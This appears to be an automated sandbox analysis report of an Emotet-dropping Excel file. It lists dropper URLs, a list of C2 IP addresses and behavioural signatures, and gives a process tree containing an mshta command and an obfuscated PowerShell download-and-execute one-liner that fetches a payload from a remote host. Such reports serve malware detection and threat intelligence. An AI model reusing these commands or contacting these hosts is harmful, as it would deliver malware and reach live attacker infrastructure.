Analysis

  • max time kernel
    123s
  • max time network
    165s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28/01/2022, 17:00

General

  • Target
    tmp8h_r2ace.xls
  • Size 85KB
  • Sample220128-vh914agham
  • SHA256 87b79b6cdf05ab9299843d7bf31d9b89fd2af6570681fa221ab069e35e400f19
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/gg/ff/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/gg/ff/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 160.16.102.168:80

  • 131.100.24.231:80

  • 200.17.134.35:7080

  • 207.38.84.195:8080

  • 212.237.56.116:7080

  • 58.227.42.236:80

  • 104.251.214.46:8080

  • 158.69.222.101:443

  • 192.254.71.210:443

  • 46.55.222.11:443

  • 45.118.135.203:7080

  • 107.182.225.142:8080

  • 103.75.201.2:443

  • 104.168.155.129:8080

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 110.232.117.186:8080

  • 45.142.114.231:8080

  • 41.76.108.46:8080

  • 203.114.109.124:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp8h_r2ace.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3528
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.172/gg/ff/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4092
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4876
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:4016
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Quxvgmdqzuif\edgaruhjpnxnwcv.wgk",jTrsfjQNuoPm
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:640
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Quxvgmdqzuif\edgaruhjpnxnwcv.wgk",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1144
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1304 -s 1656
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4476

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/640-641-0x0000000000B40000-0x0000000000B65000-memory.dmp

        memory/1144-658-0x0000000004CF0000-0x0000000004D15000-memory.dmp

        memory/1144-643-0x00000000003E0000-0x0000000000405000-memory.dmp

        memory/1144-647-0x0000000000730000-0x0000000000755000-memory.dmp

        memory/1144-649-0x0000000000870000-0x0000000000895000-memory.dmp

        memory/1144-651-0x00000000008A0000-0x00000000008C5000-memory.dmp

        memory/1144-654-0x0000000004A30000-0x0000000004A55000-memory.dmp

        memory/1144-656-0x0000000004B10000-0x0000000004B35000-memory.dmp

        memory/1144-660-0x0000000004D50000-0x0000000004D75000-memory.dmp

        memory/3528-130-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

        memory/3528-677-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-678-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-679-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-680-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-131-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

        memory/3528-117-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-121-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-120-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-119-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/3528-118-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

        memory/4016-621-0x0000000005340000-0x0000000005365000-memory.dmp

        memory/4016-640-0x0000000005860000-0x0000000005885000-memory.dmp

        memory/4016-638-0x00000000056C0000-0x00000000056E5000-memory.dmp

        memory/4016-633-0x0000000005660000-0x0000000005685000-memory.dmp

        memory/4016-625-0x0000000005600000-0x0000000005625000-memory.dmp

        memory/4016-618-0x00000000034A0000-0x00000000034C5000-memory.dmp

        memory/4876-615-0x0000000001270000-0x0000000001295000-memory.dmp

        memory/4884-344-0x00000292ABDA6000-0x00000292ABDA8000-memory.dmp

        memory/4884-309-0x00000292C4920000-0x00000292C4996000-memory.dmp

        memory/4884-298-0x00000292C43D0000-0x00000292C440C000-memory.dmp

        memory/4884-277-0x00000292ABDA0000-0x00000292ABDA2000-memory.dmp

        memory/4884-279-0x00000292ABDA3000-0x00000292ABDA5000-memory.dmp

        memory/4884-278-0x00000292C4240000-0x00000292C4262000-memory.dmp